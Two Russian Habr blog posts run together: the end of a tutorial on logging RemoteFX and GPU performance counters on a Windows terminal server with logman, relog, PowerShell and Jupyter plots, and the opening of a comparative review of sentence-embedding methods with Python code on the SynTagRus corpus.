echo ^\RemoteFX Graphics^(^*^)^\Frame Quality>>_1_counters.cfg
echo ^\RemoteFX Graphics^(^*^)^\Average Encoding Time>>_1_counters.cfg
echo ^\User Input Delay per Session^(Max^)^\Max Input Delay>>_1_counters.cfg
echo.>>_1_counters.cfg
echo ^\RemoteFX Graphics^(^*^)^\Graphics Compression ratio>>_1_counters.cfg
echo ^\NVIDIA GPU^(^*^)^\%% FB Usage>>_1_counters.cfg
@REM счётчик памяти не работает, сброс кэша счётчиков также не помог
@REM https://docs.microsoft.com/ru-ru/troubleshoot/windows-server/performance/manually-rebuild-performance-counters
echo ^\Memory^\%% Committed Bytes In Use>>_1_counters.cfg
echo ^\Memory^\Available Bytes>>_1_counters.cfg
)
@REM и регистрация нового сборщика
logman create counter -n RemoteFX_1 -f bin -max 10 -si 00:00:01 -rf 00:02:00 --v -o "%~dp0logs\test #1 void GPO X" -cf "%~dp0_1_counters.cfg"
logman create counter -n RemoteFX_2 -f bin -max 10 -si 00:00:01 -rf 00:02:00 --v -o "%~dp0logs\test #2 3D GPO X" -cf "%~dp0_1_counters.cfg"
logman create counter -n RemoteFX_3 -f bin -max 10 -si 00:00:01 -rf 00:02:00 --v -o "%~dp0logs\test #3 wmp GPO X" -cf "%~dp0_1_counters.cfg"
logman create counter -n RemoteFX_4 -f bin -max 10 -si 00:00:01 -rf 00:02:00 --v -o "%~dp0logs\test #4 youtube GPO X" -cf "%~dp0_1_counters.cfg"
logman create counter -n RemoteFX_5 -f bin -max 10 -si 00:00:01 -rf 00:02:00 --v -o "%~dp0logs\test #5 webGL GPO X" -cf "%~dp0_1_counters.cfg"
@REM pause
@REM exit
```
Принудительная остановка записи данных: \_1\_task\_breake.cmd
```
@REM запускаем сбор данных
logman stop RemoteFX_1
logman stop RemoteFX_2
logman stop RemoteFX_3
logman stop RemoteFX_4
logman stop RemoteFX_5
```
Конвертация двоичных данных в CSV: blg2csv.cmd
```
@echo off
@REM смена кодировки нужна для powershell-скрипта "%~dpn0.ps1"
chcp 65001
@REM работаем в текущей папке скрипта
cd "%~dp0logs"
@REM включаем расширения для переопределения переменных в цикле
setlocal EnableDelayedExpansion
@REM цикл по двоичным файлам мониторинга
FOR /F "usebackq delims=." %%a IN (`dir *.blg /b`) DO (
set "blg=%%a.blg"
set "csv=%%a.csv"
@REM convert binary to csv
relog "!blg!" -f csv -o "!csv!" -y
)
@REM имена cmd и powershell скриптов должны совпадать
start "%~dpn0.ps1" /WAIT /B pwsh.exe -Command "& {%~dpn0.ps1 -en:$False}"
@REM справка reglog - утилиты работы с журналами производительности
@REM https://docs.microsoft.com/ru-ru/windows-server/administration/windows-commands/relog
```
Нормализация заголовков CSV: blg2csv.ps1Заголовки столбцов содержат различные уникальные данные (id терминальной сессии или оборудования), которые будут несовпадать из-за применения групповых политик и выхода-входа на терминальный сервер. Приводим к единому виду с помощью PowerShell-скрипта:
```
[CmdletBinding()]
param (
[switch] $en = $False # substitute ru alias of counters by real en name
)
$WorkDir = $MyInvocation.MyCommand.Definition | Split-Path -Parent
$LogsDir = Join-Path -Path $WorkDir -ChildPath 'logs'
$EncodeFrom = [System.Text.Encoding]::GetEncoding(1251)
$EncodeTo = New-Object System.Text.UTF8Encoding $False
$names = @(
New-Object psobject -Property @{ 'ru' = 'Задержка ввода данных пользователем на сеанс(Max)\Максимальная задержка ввода' ; 'en' = 'User Input Delay per Session\Max Input Delay'}
New-Object psobject -Property @{ 'ru' = 'Графика RemoteFX\Входящих кадров в секунду' ; 'en' = 'RemoteFX Graphics\Input Frames/Second'}
New-Object psobject -Property @{ 'ru' = 'Графика RemoteFX\Исходящих кадров в секунду' ; 'en' = 'RemoteFX Graphics\Output Frames/Second'}
New-Object psobject -Property @{ 'ru' = 'Графика RemoteFX\Среднее время кодирования' ; 'en' = 'RemoteFX Graphics\Average Encoding Time'}
New-Object psobject -Property @{ 'ru' = 'Графика RemoteFX\Качество кадра' ; 'en' = 'RemoteFX Graphics\Frame Quality'}
New-Object psobject -Property @{ 'ru' = 'Графика RemoteFX\Коэффициент сжатия графических данных' ; 'en' = 'RemoteFX Graphics\Graphics Compression ratio'}
New-Object psobject -Property @{ 'ru' = 'Сеть RemoteFX\Общая скорость отправки' ; 'en' = 'RemoteFX Network\Total Sent Rate'}
New-Object psobject -Property @{ 'ru' = 'Сеть RemoteFX\Общая скорость приема' ; 'en' = 'RemoteFX Network\Total Received Rate'}
New-Object psobject -Property @{ 'ru' = 'Сеть RemoteFX\Потери' ; 'en' = 'RemoteFX Network\Loss Rate'}
New-Object psobject -Property @{ 'ru' = 'Графика RemoteFX\Пропущено кадров в секунду — недостаточно сетевых ресурсов' ; 'en' = 'RemoteFX Graphics\Frames Skipped/Second - Insufficient Network Resources'}
New-Object psobject -Property @{ 'ru' = 'Графика RemoteFX\Пропущено кадров в секунду — у сервера недостаточно ресурсов' ; 'en' = 'RemoteFX Graphics\Frames Skipped/Second - Insufficient Server Resources'}
New-Object psobject -Property @{ 'ru' = 'Графика RemoteFX\Пропущено кадров в секунду — у клиента недостаточно ресурсов' ; 'en' = 'RemoteFX Graphics\Frames Skipped/Second - Insufficient Client Resources'}
New-Object psobject -Property @{ 'ru' = 'Сведения о процессоре(_Total)\% загруженности процессора' ; 'en' = 'Processor Information(_Total)\% Processor Time'}
New-Object psobject -Property @{ 'ru' = 'NVIDIA GPU\% GPU Usage' ; 'en' = 'NVIDIA GPU\% GPU Usage'}
New-Object psobject -Property @{ 'ru' = 'NVIDIA GPU\% GPU Memory Usage' ; 'en' = 'NVIDIA GPU\% GPU Memory Usage'}
New-Object psobject -Property @{ 'ru' = 'NVIDIA GPU\% Video Decoder Usage' ; 'en' = 'NVIDIA GPU\% Video Decoder Usage'}
New-Object psobject -Property @{ 'ru' = 'NVIDIA GPU\% Video Encoder Usage' ; 'en' = 'NVIDIA GPU\% Video Encoder Usage'}
New-Object psobject -Property @{ 'ru' = 'NVIDIA GPU\% FB Usage' ; 'en' = 'NVIDIA GPU\% FB Usage'}
New-Object psobject -Property @{ 'ru' = 'Сеть RemoteFX\Пропускная способность текущего UDP-подключения' ; 'en' = 'RemoteFX Network\Current UDP Bandwidth'}
New-Object psobject -Property @{ 'ru' = 'Сеть RemoteFX\Пропускная способность текущего TCP-подключения' ; 'en' = 'RemoteFX Network\Current TCP Bandwidth'}
New-Object psobject -Property @{ 'ru' = 'Сеть RemoteFX\Скорость отправки UDP-данных' ; 'en' = 'RemoteFX Network\UDP Sent Rate'}
New-Object psobject -Property @{ 'ru' = 'Сеть RemoteFX\Скорость получения UDP-данных' ; 'en' = 'RemoteFX Network\UDP Received Rate'}
New-Object psobject -Property @{ 'ru' = 'Сеть RemoteFX\Скорость отправки TCP-данных' ; 'en' = 'RemoteFX Network\TCP Sent Rate'}
New-Object psobject -Property @{ 'ru' = 'Сеть RemoteFX\Скорость получения TCP-данных' ; 'en' = 'RemoteFX Network\TCP Received Rate'}
)
$Heads = @()
foreach ($f in Get-ChildItem -Path $LogsDir -File -Filter '*.csv')
{
$FileContent = $f | Get-Content -Encoding $EncodeFrom
$HeadOrig = $FileContent[0]
# приводим заголовки к единому виду, убираем ненужное
# "\\TESTGPU\NVIDIA GPU(#0 GRID M60-1Q (id=1, NVAPI ID=513))\% GPU Memory Usage"
if ($HeadOrig -match '.*(?\\\\[a-zA-Z0-9]\*\\).\*')
{
$HeadOrig = $HeadOrig.Replace($Matches['hostname'], '')
}
if ($HeadOrig -match '.\*NVIDIA GPU(?\(#[A-Z0-9 ]\*-[A-Z0-9]\* \(id=[0-9,]\* NVAPI ID=[0-9]\*\)\))')
{
$HeadOrig = $HeadOrig.Replace($Matches['gpu'], '')
}
# "\\TESTGPU\Графика RemoteFX(RDP-Tcp 55)\Входящих кадров в секунду"
if ($HeadOrig -match '.\*(?\(RDP-Tcp[ 0-9]\*\)).\*')
{
$HeadOrig = $HeadOrig.Replace($Matches['session'], '')
}
# "(PDH-CSV 4.0) (Russia TZ 2 Standard Time)(-180)"
if ($HeadOrig -match '.\*(?\(.\*\) \(.\*Time\)\([0-9 +-]\*\))')
{
$HeadOrig = $HeadOrig.Replace($Matches['time'], 'Time')
}
if ($en)
{
$HeadOrig = ($HeadOrig -split '","') -replace '"', ''
foreach ($h in $HeadOrig)
{
if ($h -notin $names.ru) { continue }
$n = $names | Where-Object {$\_.ru -eq $h}
$HeadOrig[($HeadOrig.IndexOf($h))] = $n.en # $h = $n.en не работает
}
$HeadOrig = '"{0}"' -f ($HeadOrig -join '","')
}
$FileContent[0] = $HeadOrig # перезапись заголовка
$FileContent | Out-File -Encoding $EncodeTo -FilePath $f.FullName
$Heads += $f.Name + $HeadOrig # сохранение заголовка
}
# вывод заголовков столбцов в отдельный файл для доп. контроля порядка, названий и т.д.
$Heads | Out-File -Encoding $EncodeTo -FilePath (Join-Path -Path $LogsDir -ChildPath 'heads.txt')
```
Jupiter Notebook: импорт данных
```
import pandas as pd
import matplotlib.pyplot as plt
from matplotlib.ticker import EngFormatter # для вывода форматированных единиц измерения
plt.rcParams['figure.max_open_warning'] = 30 # порог предупреждения при одновременном построении нескольких рисунков
%matplotlib inline
# импорт данных csv-файлов
t21 = pd.read_csv('./logs/test #2 3D GPO 1.csv', na_values=' ')
t20 = pd.read_csv('./logs/test #2 3D GPO 0.csv', na_values=' ') # , encoding='cp1251')
t31 = pd.read_csv('./logs/test #3 wmp GPO 1.csv', na_values=' ')
t30 = pd.read_csv('./logs/test #3 wmp GPO 0.csv', na_values=' ')
t31_prev = pd.read_csv('./logs/test #3 wmp GPO 1 anomaly.csv', na_values=' ')
t41 = pd.read_csv('./logs/test #4 youtube GPO 1.csv', na_values=' ')
t40 = pd.read_csv('./logs/test #4 youtube GPO 0.csv', na_values=' ')
# слияние результатов каждого теста: сначала рекомендованные GPO, потом default GPO
t2 = pd.concat([t21, t20], join='inner', axis=1)
t3 = pd.concat([t31, t30, t31_prev], join='inner', axis=1)
t4 = pd.concat([t41, t40], join='inner', axis=1)
# разные наборы для итерации и рисования в цикле
dataframes = [t2, t3, t4]
ax_titles = ['test #2: 3D benchmark', 'test #3: play 1080p video', 'test #4: play 1080p youtube video']
legend = ['GPU acceleration', 'default', 'GPU, anomaly']
img_sx, img_sy = 15, 5 # размеры одного ряда графиков
fgs = [ # макет графиков # yunit ед. изм., ylabel метка Y-оси, ydata колонка из датафрейма
{'yunit': 'ms', 'ylabel': 'Input Delay', 'ydata': 'Задержка ввода данных пользователем на сеанс(Max)\Максимальная задержка ввода'},
{'yunit': 'fps', 'ylabel': 'RemoteFX input FPS', 'ydata': 'Графика RemoteFX\Входящих кадров в секунду'},
{'yunit': 'fps', 'ylabel': 'RemoteFX output FPS', 'ydata': 'Графика RemoteFX\Исходящих кадров в секунду'},
{'yunit': 'bps', 'ylabel': 'Tx Speed', 'ydata': 'Сеть RemoteFX\Общая скорость отправки'},
{'yunit': 'bps', 'ylabel': 'Rx Speed', 'ydata': 'Сеть RemoteFX\Общая скорость приема'},
{'yunit': '%', 'ylabel': 'Tx / Rx Loss', 'ydata': 'Сеть RemoteFX\Потери'},
{'yunit': '%', 'ylabel': 'CPU Usage', 'ydata': 'Сведения о процессоре(_Total)\% загруженности процессора'},
{'yunit': '%', 'ylabel': 'GPU Usage', 'ydata': 'NVIDIA GPU\% GPU Usage'},
{'yunit': '%', 'ylabel': 'GPU Memory Usage', 'ydata': 'NVIDIA GPU\% GPU Memory Usage'},
{'yunit': '%', 'ylabel': 'GPU Decoder Usage', 'ydata': 'NVIDIA GPU\% Video Decoder Usage'},
{'yunit': '%', 'ylabel': 'GPU Encoder Usage', 'ydata': 'NVIDIA GPU\% Video Encoder Usage'},
{'yunit': 'ms', 'ylabel': 'Encoding Time', 'ydata': 'Графика RemoteFX\Среднее время кодирования'},
{'yunit': '%', 'ylabel': 'Frame Quality', 'ydata': 'Графика RemoteFX\Качество кадра'},
{'yunit': '%', 'ylabel': 'Compression: enc byte / in byte', 'ydata': 'Графика RemoteFX\Коэффициент сжатия графических данных'},
{'yunit': 'fps', 'ylabel': 'FPS Loss by network', 'ydata': 'Графика RemoteFX\Пропущено кадров в секунду — недостаточно сетевых ресурсов'},
{'yunit': 'fps', 'ylabel': 'FPS Loss by server', 'ydata': 'Графика RemoteFX\Пропущено кадров в секунду — у сервера недостаточно ресурсов'},
{'yunit': 'fps', 'ylabel': 'FPS Loss by client', 'ydata': 'Графика RemoteFX\Пропущено кадров в секунду — у клиента недостаточно ресурсов'},
{'yunit': '%', 'ylabel': 'GPU Framebufer Usage', 'ydata': 'NVIDIA GPU\% FB Usage'},
{'yunit': 'bps', 'ylabel': 'Tx Speed UDP', 'ydata': 'Сеть RemoteFX\Скорость отправки UDP-данных'},
{'yunit': 'bps', 'ylabel': 'Rx Speed UDP', 'ydata': 'Сеть RemoteFX\Скорость получения UDP-данных'},
{'yscale': 1000, 'yunit': 'bps', 'ylabel': 'Bandwidth UDP', 'ydata': 'Сеть RemoteFX\Пропускная способность текущего UDP-подключения'},
{'yunit': 'bps', 'ylabel': 'Tx Speed TCP', 'ydata': 'Сеть RemoteFX\Скорость отправки TCP-данных'},
{'yunit': 'bps', 'ylabel': 'Rx Speed TCP', 'ydata': 'Сеть RemoteFX\Скорость получения TCP-данных'},
{'yscale': 1000, 'yunit': 'bps', 'ylabel': 'Bandwidth TCP', 'ydata': 'Сеть RemoteFX\Пропускная способность текущего TCP-подключения'},
]
```
Jupiter Notebook: отрисовка одной метрики на диаграмму
```
for i in range(len(fgs)): # сколько метрик, столько рисунков (рядов диаграмм)
fig, axs = plt.subplots(1, 3, figsize=(img_sx, img_sy), sharex='col', sharey='row', gridspec_kw=dict(hspace=0, wspace=0, )) # width_ratios=[1, 1, 1]
fig_name = fgs[i]['ydata'].split('\\')[1]
fig.suptitle(f'Рис. {i + 1:>2}. {fig_name}', fontsize=14) #, color='grey') # имя рисунка
fig.patch.set_facecolor('white') # фон рисунка белый вместо прозрачного
axs[0].set(ylabel=fgs[i]['ylabel']) # подпись Y-оси только на первых (левых) графиках из трёх
axs[2].yaxis.set_tick_params(labelleft=False, labelright=True, which='major') # дублируем значения справа
for ax, d, title in zip(axs, dataframes, ax_titles): # на каждый тест своя диаграмма
ax.plot(d.index.values, d[fgs[i]['ydata']] * (fgs[i].get('yscale', 1))) # строим график
ax.set_title(title) #, color='grey') # заголовок диаграммы
ax.xaxis.set_tick_params(which='major', labelcolor='grey') # подписи к X-шкале
ax.xaxis.set_major_formatter(EngFormatter(unit='s')) # по X секунды
ax.yaxis.set_tick_params(which='major', labelcolor='grey') # подписи Y-шкале
ax.yaxis.set_major_formatter(EngFormatter(unit=fgs[i]['yunit'])) # по Y у каждого графика своя ед. изм.
# расчёт средних и вывод в легенду диаграммы "на лету"
avg = [EngFormatter(places=0).format_eng(avg * (fgs[i].get('yscale', 1))) for avg in d[fgs[i]['ydata']].mean()]
lgn = [f'avg {m}{fgs[i]["yunit"]}, {l}' for l, m in zip(legend, avg)]
ax.legend(lgn, fontsize=8) # отображение легенды графика
ax.grid(axis='y') # горизонтальная сетка
ax.set_xlim(0,119) # метка "120" засоряла график
if ax == axs[1]: # выделяем аномалии на средней диаграмме
ax.axvline(x=15, linestyle=":", color='C0')
ax.axvline(x=58, linestyle=":", color='C0')
ax.axvline(x=101, linestyle=":", color='C0')
fig.tight_layout() # (pad=0.4, w_pad=1.5, h_pad=30.0)
```
Jupiter Notebook: отрисовка всех метрик на одной диаграммеОбщая ось X на все графики: метрики тестов располагаются строго друг под другом - удобно сопоставлять разные метрики между собой.
```
# один рисунок # plt.style.available # plt.style.use('seaborn-whitegrid')
fig, axs = plt.subplots(len(fgs), 3, figsize=(img_sx, img_sy * len(fgs)), sharex='col', sharey='row', gridspec_kw=dict(hspace=0.2, wspace=0))
fig.patch.set_facecolor('white') # фон рисунка белый вместо прозрачного
# заголовки только вверху
[ax.set_title(title) for ax, title in zip(axs[0], ax_titles)] # ax.set_title(title, color='grey')
for i in range(len(fgs)):
axs[i,0].set(ylabel=fgs[i]['ylabel'])
fig_name = fgs[i]['ydata'].split('\\')[1]
axs[i,1].set(xlabel=f'Рис. {i + 1:>02}. {fig_name}')
# axs[i,1].xaxis.label.set_color('grey')
axs[i,2].yaxis.set_tick_params(labelleft=False, labelright=True, which='major')
for ax, d, title in zip(axs[i], dataframes, ax_titles):
ax.plot(d.index.values, d[fgs[i]['ydata']] * (fgs[i].get('yscale', 1)))
ax.xaxis.set_tick_params(which='major', labelcolor='grey') # подписи к X-шкале
ax.xaxis.set_major_formatter(EngFormatter(unit='s')) # по X секунды
ax.yaxis.set_tick_params(which='major', labelcolor='grey') # подписи Y-шкале
ax.yaxis.set_major_formatter(EngFormatter(unit=fgs[i]['yunit'])) # по Y у каждого графика своя ед. изм.
# расчёт средних и изменение легенды диаграммы "на лету"
avg = [EngFormatter(places=0).format_eng(avg * (fgs[i].get('yscale', 1))) for avg in d[fgs[i]['ydata']].mean()]
lgn = [f'avg {m}{fgs[i]["yunit"]}, {l}' for l, m in zip(legend, avg)]
ax.legend(lgn, fontsize=8) # отображение легенды графика
ax.grid(axis='y') # горизонтальная сетка
ax.set_xlim(0,119) # метка "120" засоряла график
if ax == axs[i,1]: # выделяем аномалии на средней диаграмме
ax.axvline(x=15, linestyle="--", color='C0')
ax.axvline(x=58, linestyle="--", color='C0')
ax.axvline(x=101, linestyle="--", color='C0')
```
Диаграмма со всеми графикамиПродолжение истории будет на следующей неделе. Спасибо за внимание!
---
**Что ещё интересного есть в блоге**[**Cloud4Y**](https://www.cloud4y.ru/?utm_source=habr&utm_medium=referral&utm_campaign=article)
→ [Частые ошибки в настройках Nginx, из-за которых веб-сервер становится уязвимым](https://habr.com/ru/company/cloud4y/blog/547164/)
→ [Пароль как крестраж: ещё один способ защитить свои учётные данные](https://habr.com/ru/company/cloud4y/blog/541348/)
→ [Тим Бернерс-Ли предлагает хранить персональные данные в подах](https://habr.com/ru/company/cloud4y/blog/539654/)
→ [Подготовка шаблона vApp тестовой среды VMware vCenter + ESXi](https://habr.com/ru/company/cloud4y/blog/542000/)
→ [Создание группы доступности AlwaysON на основе кластера Failover](https://habr.com/ru/company/cloud4y/blog/538510/)
Подписывайтесь на наш [Telegram](https://t.me/cloud4y)-канал, чтобы не пропустить очередную статью. Пишем не чаще двух раз в неделю и только по делу. | https://habr.com/ru/post/552034/ | null | ru | null |
# Обзор методов создания эмбедингов предложений, Часть1
Представте себе, как было бы удобно, написать предложение и найти похожее к нему по смыслу. Для этого нужно уметь векторизовать всё предложение, что может быть очень не тривиальной задачей.
По специфике своей работы, я должен искать похожие запросы в службу поддержки и даже имея достаточно большую разметку, бывает тяжело собрать необходимое количество сообщений подходящих по тематике, но написанных другими словами.
Ниже обзорное исследование на способы векторизации всего предложения и не просто векторизации, а попытка векторизовать предложение с учётом его смысла.
Например две фразы **'эпл лучше самсунг'** от **'самсунг лучше эпл'**, должны быть на противоположном конце по одному из значений вектора, но при этом совпадать по другим.
Можно привести аналогию с картинкой ниже. По шкале от кекса до собаки они находятся на разных концах, а по количеству чёрных точек и цвету объекта на одном.
[Вот тут сборник статей по векторизации предложений](https://paperswithcode.com/task/sentence-embedding)
Методы в статьях очень не тривиальные и интересны для изучения, но минусы в том, что:
1. они испытывались на английском языке
2. в каждой статье написано, что они превзошли предшественников, но сравнения проводились на разных датасетах и нет возможности сделать рейтинг
Поэтому ниже обзорно — сравнительный анализ 7 разных методов векторизации предложений на одном датасете.
Содержание
----------
Подготовка
Функция оценки
1. Методы BOW
1.1. простой BOW
1.2. BOW c леммами слов
1.3. BOW с леммами и очисткой стопслов
1.4. LDA
2. Методы, использующие эмбединги токенов
2.1 Среднее по эмбедингу всех слов
2.2 Среднее по эмбедингу с очисткой стоп слов
2.3 Среднее по эмбедингу с весами tf-idf
3. Languade Models
3.1 Language Model on embedings
3.2 Language Model on index
4. BERT
4.1 rubert\_cased\_L-12\_H-768\_A-12\_pt
4.2 ru\_conversational\_cased\_L-12\_H-768\_A-12\_pt
4.3 sentence\_ru\_cased\_L-12\_H-768\_A-12\_pt
4.4 elmo\_ru-news\_wmt11-16\_1.5M\_steps
4.5 elmo\_ru-wiki\_600k\_steps
4.6 elmo\_ru-twitter\_2013-01\_2018-04\_600k\_steps
5. Автоэнкодеры
5.1 Автоэнкодер embedings -> embedings
5.2 Автоэнкодер embedings -> indexes
5.3 Автоэнкодер архитектура LSTM -> LSTM
5.4 Автоэнкодер архитектура LSTM -> LSTM -> indexes
6. Эмбединги на Transfer Learning
6.1 Эмбединги на BOW
6.2 Эмбединг на LSTM + MaxPooling
6.3 Эмбединг на LSTM + Conv1D + AveragePooling
6.4 Эмбединг на LSTM + Inception + Attention
7. Triplet loss
7.1 Triplet loss на BOW
7.2 Triplet loss на embedings
Подготовка
==========
```
import pandas as pd
import numpy as np
from collections import defaultdict, Counter
import random
from tqdm.notebook import tqdm
from sklearn.feature_extraction.text import CountVectorizer
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.metrics.pairwise import cosine_distances, euclidean_distances
from sklearn.decomposition import LatentDirichletAllocation
from tensorflow.keras.preprocessing.sequence import pad_sequences
from tensorflow.keras.utils import to_categorical
from tensorflow.keras.layers import Input, Bidirectional, LSTM, Dense, MaxPooling1D, AveragePooling1D, Conv1D
from tensorflow.keras.layers import Flatten, Reshape, Concatenate, Permute, Activation, Dropout, multiply
from tensorflow.keras.layers import BatchNormalization
from tensorflow.keras.models import Model
from tensorflow.keras.losses import cosine_similarity
from tensorflow.keras import regularizers
import tensorflow.keras.backend as K
import tensorflow as tf
import pymorphy2
import nltk
nltk.download('stopwords')
from nltk.corpus import stopwords
import numpy as np
import matplotlib.pyplot as plt
import pickle
import os
import re
from conllu import parse_incr
```
База знаний
-----------
[Источник знаний и разметки по тематикам](https://github.com/UniversalDependencies/UD_Russian-SynTagRus)
[Обяснение на Вики](https://ru.wikipedia.org/wiki/%D0%93%D0%BB%D1%83%D0%B1%D0%BE%D0%BA%D0%BE_%D0%B0%D0%BD%D0%BD%D0%BE%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D1%8B%D0%B9_%D0%BA%D0%BE%D1%80%D0%BF%D1%83%D1%81_%D1%80%D1%83%D1%81%D1%81%D0%BA%D0%BE%D0%B3%D0%BE_%D1%8F%D0%B7%D1%8B%D0%BA%D0%B0#%D0%94%D0%BE%D1%81%D1%82%D1%83%D0%BF)
```
files = {'train': 'ru_syntagrus-ud-train.conllu',
'test': 'ru_syntagrus-ud-test.conllu',
'dev': 'ru_syntagrus-ud-dev.conllu'}
database = {}
for data_type in files:
filename = files[data_type]
database = {}
with open(os.path.join('UD_Russian-SynTagRus-master', filename), encoding='utf-8') as f:
parsed = parse_incr(f)
for token_list in parsed:
topic_name = token_list.metadata['sent_id'].split('.')[0]
# убрём цифры из названий темы
topic_name = re.sub(r'\d+', '', topic_name)
if topic_name not in database:
database[topic_name] = []
sentence = ' '.join([token['form'] for token in token_list]).lower()
database[topic_name].append(sentence)
```
Выбираем из базы знаний три темы с примерно равным количество сообщений в них, которые будут использоваться для оценки методов и удалим их из базы знаний.
```
choosen_for_evaluation = ['I_slepye_prozreyut',
'Interviyu_Mariny_Astvatsaturyan',
'Byudzhet']
texts_for_evaluation = {}
texts_for_training = {}
for topic in database:
if topic in choosen_for_evaluation:
texts_for_evaluation[topic] = database[topic]
else:
texts_for_training[topic] = database[topic]
TEXTS_CORPUS = [sentence for topic in texts_for_training for sentence in texts_for_training[topic]]
# напечатаем примеры
for topic in texts_for_evaluation:
print(topic, len(texts_for_evaluation[topic]))
for index, sentence in enumerate(texts_for_evaluation[topic]):
print('\t', sentence[:100])
if index > 5:
break
print('\n')
```
Примеры выводов
```
Byudzhet 70
кандидат исторических наук н. митрофанов .
все медные и серебряные на императорском кону .
екатерина ii и бюджет .
приходит день , и на все лады отовсюду звучит слово " бюджет " .
газеты расшифровывают смысл его основополагающих статей , сравнивая прошлогодние
многие возмущаются по поводу малого внимания к культуре , обороне , армии … - пр
конформисты принимаются разоблачать " выскочек " , уличая их в передергивании пр
Interviyu_Mariny_Astvatsaturyan 72
" моя научная журналистика стоит на царских костях " .
- как вы , биолог , пришли в научную журналистику ? с чего всё начиналось ?
- началось по воле случая , в 1993-м .
одному из тогдашних музыкальных ведущих " эха москвы " понадобились записи ива м
у нас дома , сколько я себя помню , лежали виниловые пластинки - концертные запи
я предоставила их для подготовки радиопередачи об иве монтане .
так я познакомилась с тогдашней редакцией " эха " , которая сидела на никольской
I_slepye_prozreyut 72
и слепые прозреют …
опыты , проведенные специалистами института мозга человека ран , подтвердили сущ
три года назад московский ученый вячеслав бронников начал учить слепых видеть .
он разработал оригинальную методику , позволяющую резко активизировать деятельно
в результате за десять дней занятий бронников развивал у своих подопечных навыки
дети с пороками зрения после специального обучения могли кататься на велосипедах
слепой человек , как утверждают медики , видит перед собой пелену .
```
Для оценки нужна только одна функция от каждого метода **get\_similarity\_values**, которая будет принимать на вход сообщения и возвращать расстояния от каждого к каждому. Сообщения сортируются по увеличению расстояния и рассчитывается сколько баллов набрал этот метод.
Баллы будут считаться так: всего 3 темы с 70, 72 и 72 предложениями в каждом. Чем ближе сообщение распологается к тому, которое мы оцениваем, тем больше баллов за него начисляется. Убываение ценности предложения идёт пропорционально индексу. Т.е. если самое ближайшее сообщение из той же темы, то +214 баллов, если второе сообщение из другой темы, то -213 и т.д. до последнего.
Теоретически максимально возможное значение = sum(214… 214 — 72) — sum(214-72… 0) + 7626 = 10395
Теоретически минимально возможное значение = -sum(214… 72) + sum(72… 0) + 7626 = -10053
```
np.random.seed(42)
random.seed(777)
index2topic = {}
index2text = {}
index = 0
for topic in texts_for_evaluation:
for sentence in texts_for_evaluation[topic]:
index2topic[index] = topic
index2text[index] = sentence
index += 1
def get_similarity_values(sentences):
return np.random.rand(len(sentences), len(sentences))
chart_methods = {}
bottom_minimum = -7626.2336448598135
def evaluate(get_similarity_values, method_name=None, add_to_chart=True):
test_messages = [index2text[index] for index in range(len(index2text))]
distances_each_to_each = get_similarity_values(test_messages)
evaluations = []
for target_index in index2topic:
distances = distances_each_to_each[target_index]
distances_indexes = sorted(zip(distances, range(len(index2topic))), key=lambda x: x[0])
evaluation_result = 0
for i, (distance, index) in enumerate(distances_indexes):
if index2topic[index] == index2topic[target_index]:
evaluation_result += len(test_messages) - i
else:
evaluation_result -= len(test_messages) - i
evaluations.append(evaluation_result)
# сделаем случайное распределние искусственным нулём (baseline)
result = round(np.mean(evaluations) - bottom_minimum, 1)
if add_to_chart:
#добавляем на график, только лучший результат по всем прогонам
if method_name not in chart_methods or result > chart_methods[method_name][0]:
chart_methods[method_name] = (result, np.std(evaluations))
return f'{method_name}: {str(result)}'
def parse_result(result):
return float(new_result.split(': ')[1])
evaluate(get_similarity_values, 'random arrange')
```
`'random arrange: 0.0'`
1. Методы BOW
=============
### 1.1 BOW
Будем определять расстояни между предложеними по словам, которые находятся в предложении без предварительной обработки (сохраняя все знаки препинания).
```
count_vectorizer = CountVectorizer()
corpus = TEXTS_CORPUS
count_vectorizer.fit(corpus)
def get_similarity_values(sentences):
sentences_bow = count_vectorizer.transform(sentences)
distances = cosine_distances(sentences_bow, sentences_bow)
return distances
evaluate(get_similarity_values, 'BOW')
```
`'BOW: 693.1'`
### 1.2 BOW с леммами слов
Тот же алгоритм, но теперь будут использоваться леммы слов.
```
morph = pymorphy2.MorphAnalyzer()
def lemmatize(corpus, verbose=False):
clear_corpus = []
if verbose:
iterator = tqdm(corpus, leave=False)
else:
iterator = corpus
for sentence in iterator:
tokens = sentence.split() # разбиваем текст на слова
res = []
for token in tokens:
p = morph.parse(token)[0]
res.append(p.normal_form)
clear_corpus.append(' '.join(res))
return clear_corpus
count_vectorizer = CountVectorizer()
corpus = lemmatize(TEXTS_CORPUS, True)
count_vectorizer.fit(corpus)
def get_similarity_values(sentences):
sentences_bow = count_vectorizer.transform(lemmatize(sentences))
distances = cosine_distances(sentences_bow, sentences_bow)
return distances
evaluate(get_similarity_values, 'BOW с леммами слов', False)
```
`'BOW с леммами слов: 1645.8'`
### 1.3 BOW с леммами с очисткой стоп слов и знаков препинания
```
ru_stopwords = stopwords.words('russian')
ru_stopwords += ['.', ',', '"', '!',
'?','(', ')', '-',
':', ';', '_', '\\']
def delete_stopwords(corpus, verbose=False):
clear_corpus = []
if verbose:
iterator = tqdm(corpus, leave=False)
else:
iterator = corpus
for sentence in iterator:
tokens = sentence.split() # разбиваем текст на слова
res = []
without_stopwords = [token for token in tokens if token not in ru_stopwords]
clear_corpus.append(' '.join(without_stopwords))
return clear_corpus
count_vectorizer = CountVectorizer()
corpus = lemmatize(delete_stopwords(TEXTS_CORPUS), True)
count_vectorizer.fit(corpus)
def get_similarity_values(sentences):
sentences_bow = count_vectorizer.transform(lemmatize(delete_stopwords(sentences)))
distances = cosine_distances(sentences_bow, sentences_bow)
return distances
evaluate(get_similarity_values, 'BOW с леммами и без стоп слов')
```
`'BOW с леммами и без стоп слов: 1917.6'`
### 1.4 LDA
```
def similarity_values_wrapper(lda, count_vectorizer, do_lemmatize=False, do_delete_stopwords=False):
def get_similarity_values(sentences):
if do_delete_stopwords:
sentences = delete_stopwords(sentences)
if do_lemmatize:
sentences = lemmatize(sentences)
sent_vector = count_vectorizer.transform(sentences)
sent_vector = lda.transform(sent_vector)
distances = cosine_distances(sent_vector, sent_vector)
return distances
return get_similarity_values
lda = LatentDirichletAllocation(n_components=300)
corpus = TEXTS_CORPUS
count_vectorizer = CountVectorizer().fit(corpus)
corpus = count_vectorizer.transform(corpus)
lda.fit(corpus)
get_similarity_values = similarity_values_wrapper(lda, count_vectorizer)
